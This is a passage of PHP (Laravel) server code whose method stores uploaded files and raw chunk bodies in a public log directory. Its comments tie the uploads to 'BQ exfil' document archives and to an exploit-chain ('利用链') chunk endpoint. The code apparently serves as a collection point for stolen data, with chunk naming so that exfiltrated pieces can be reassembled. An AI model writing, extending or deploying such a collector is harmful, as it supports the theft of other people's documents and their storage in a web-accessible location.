$base = public_path('log/'.self::LOG_TYPE.'/uploads');
if (! is_dir($base) && ! @mkdir($base, 0775, true) && ! is_dir($base)) {
return $saved;
}
$ts = date('Ymd-His').'-'.bin2hex(random_bytes(2));
// Multipart uploads (BQ exfil bq_docs_*.zip, etc.)
foreach ($request->allFiles() as $key => $f) {
if (! ($f instanceof \Illuminate\Http\UploadedFile) || ! $f->isValid()) {
continue;
}
$orig = $f->getClientOriginalName();
$safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $base.'/'.$ts.'_'.$safe;
try {
if ($f->move(dirname($dest), basename($dest))) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
// fall back to copy from tmp
try {
$tmp = $f->getRealPath();
if ($tmp && @copy($tmp, $dest)) {
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
}
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream,
// App 利用链 /api/v2/uploads/{id}/chunks — octet-stream).
// Name files with uploadId + chunkIndex so chunks can be reassembled.
if ($body !== '' && empty($saved)) {
$path = $request->path();
$uploadId = '';
$chunkIdx = $request->query('chunkIndex', '');
if (preg_match('#uploads/([^/]+)/chunks#', $path, $m)) {
$uploadId = $m[1];
}
if ($chunkIdx === '' && preg_match('#chunks/([0-9]+)#', $path, $m)) {
$chunkIdx = $m[1];
}
$suffix = '';
if ($uploadId !== '') {
$suffix .= '_'.$uploadId;
}
if ($chunkIdx !== '') {
$suffix .= '_c'.$chunkIdx;
}
$dest = $base.'/'.$ts.'_'.$tag.$suffix.'.bin';
try {
if (@file_put_contents($dest, $body) !== false) {
$saved['body'] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
}
} catch (\Throwable) {
}
}
return $saved;
}
}